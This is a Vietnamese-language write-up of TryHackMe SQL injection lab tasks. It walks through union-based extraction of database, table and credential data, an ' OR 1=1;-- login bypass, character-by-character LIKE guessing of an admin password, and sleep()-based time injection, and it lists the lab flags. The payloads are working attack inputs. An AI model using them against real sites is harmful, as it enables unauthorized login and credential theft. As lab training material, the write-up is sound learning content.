Union-based
Tiếp cận
Giả sử đường dẫn của một bài viết là:
https://website.thm/article?id=1
Kết quả hiển thị:
My First Article
Article ID: 1
Hi and welcome to my very first article for my new website......
Số cột trong câu truy vấn
Đầu tiên, chúng ta thử thêm dấu '
sau số 1
. Trang web hiển thị lỗi SQL, cho thấy có khả năng bị tấn công.
Tiếp theo, sử dụng UNION
để xác định số cột. Thử 1 UNION SELECT 1
, trang web báo lỗi số cột khác nhau. Tăng dần số cột cho đến khi hết lỗi. Với 1 UNION SELECT 1,2,3
, truy vấn thành công.
Thông tin Database
Để lấy thông tin mong muốn thay vì bài viết, chúng ta tạo một truy vấn không có kết quả bằng cách thay id=1
thành id=0
:
0 UNION SELECT 1,2,3
Kết quả trả về:
2
Article ID: 1
3
Điều này cho thấy cột 1 là ID, cột 2 là tiêu đề, và cột 3 là nội dung. Chúng ta có thể thay thế các số 1,2,3
để trích xuất thông tin.
Để lấy tên database:
0 UNION SELECT 1,2,database()
Kết quả: sqli_one
.
Để liệt kê các bảng trong database sqli_one
:
group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
Kết quả: article,staff_users
. information_schema
là một metadata database chứa thông tin về các database khác.
Thông tin mong muốn
Để lấy các cột của bảng staff_users
:
group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
Kết quả: id,username,password
.
Cuối cùng, lấy username và password từ bảng staff_users
:
group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
Chúng ta dùng :
để phân cách và <br>
để xuống dòng cho dễ đọc.
Flag
Success
THM{SQL_INJECTION_3840}
Bỏ qua xác thực
Tiếp cận
Câu truy vấn đăng nhập thường có dạng:
SELECT * FROM users WHERE username='' AND password='' LIMIT 1;
Chúng ta có thể làm cho điều kiện WHERE
luôn đúng bằng cách chèn payload:
' OR 1=1;--
Câu truy vấn sẽ trở thành:
SELECT * FROM users WHERE username='' AND password='' OR 1=1;--' LIMIT 1;
Biểu thức 1=1
luôn đúng, và --
là comment trong SQL, vô hiệu hóa phần còn lại của câu lệnh.
Flag
Success
THM{SQL_INJECTION_9581}
Brute Forcing
Tiếp cận
Trong trường hợp này, chúng ta cần tìm ra cặp username/password thay vì chỉ bypass.
Giả sử có một API kiểm tra username tồn tại: https://website.thm/checkuser?username=admin
.
Response: {"taken":true}
.
Câu truy vấn có thể là: SELECT * FROM users WHERE username = '' LIMIT 1;
.
Thử với admin123' UNION SELECT 1,2,3;--
, ta nhận được {"taken":true}
. Điều này xác nhận bảng có 3 cột.
Tên Database
Chúng ta có thể dò tên database bằng cách sử dụng LIKE
:
UNION SELECT 1,2,3 WHERE database() LIKE 's%';--
Bằng cách thử từng ký tự, chúng ta có thể đoán ra tên database là sqli_three
.
Tên bảng
Tương tự, dò tên bảng:
UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' AND table_name LIKE 'u%';--
Tên bảng được tìm thấy là users
.
Tên cột
Dò tên các cột:
UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema='sqli_three' AND table_name='users' AND column_name LIKE 'a%';--
Sau khi tìm thấy một cột, ta loại trừ nó và tiếp tục tìm kiếm. Các cột tìm được là id
, username
, password
.
Mật khẩu
Vì đã biết có username admin
, chúng ta chỉ cần dò mật khẩu:
UNION SELECT 1,2,3 FROM users WHERE username='admin' AND password LIKE 'a%';--
Dò từng ký tự, chúng ta tìm được mật khẩu là 3845
.
Flag
Success
THM{SQL_INJECTION_1093}
Time-based
Tiếp cận
Nếu ứng dụng không trả về lỗi hoặc kết quả, chúng ta có thể sử dụng tấn công time-based. Giả sử có request:
https://website.thm/analytics?referrer=tryhackme.com
Chúng ta có thể chèn hàm sleep()
để tạo độ trễ:
' UNION SELECT sleep(1), 2;--
Nếu có độ trễ, điều đó có nghĩa là câu truy vấn UNION
đã thực thi thành công và bảng có 2 cột. Từ đó, chúng ta có thể áp dụng các kỹ thuật tương tự như boolean-based để khai thác dữ liệu. Mật khẩu của admin
được tìm thấy là 4961
.
Flag
Success
THM{SQL_INJECTION_MASTER}